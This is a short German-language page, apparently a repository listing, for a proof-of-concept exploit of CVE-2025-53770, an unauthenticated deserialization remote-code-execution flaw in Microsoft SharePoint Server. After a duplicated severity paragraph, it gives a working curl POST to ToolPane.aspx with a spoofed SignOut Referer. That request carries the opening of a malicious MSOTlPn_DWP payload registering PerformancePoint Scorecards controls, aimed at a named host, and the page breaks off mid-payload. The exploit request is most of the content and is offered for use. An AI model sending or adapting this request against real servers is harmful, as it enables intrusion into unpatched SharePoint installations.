harryhaxor/cve-2025-53770-sharepoint-deserialization-rce-poc
Eine kritische Schwachstelle in Microsoft SharePoint Server ermöglicht nicht authentifizierte Remote-Codeausführung durch Deserialisierung nicht vertrauenswürdiger Daten. Microsoft ist sich aktiver Ausnutzung bewusst; wenden Sie die CVE-Mitigationen sofort an. Schweregrad: Kritisch.
Eine kritische Schwachstelle in Microsoft SharePoint Server ermöglicht nicht authentifizierte Remotecodeausführung durch Deserialisierung nicht vertrauenswürdiger Daten. Microsoft ist sich der aktiven Ausnutzung bewusst; wenden Sie die CVE-Maßnahmen sofort an. Schweregrad: Kritisch.
Befehle
curl -sk -X POST 'https://reeaccated.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx'
-H 'Referer: /_layouts/SignOut.aspx'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'MSOTlPn_Uri=https://reeaccated.com'
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
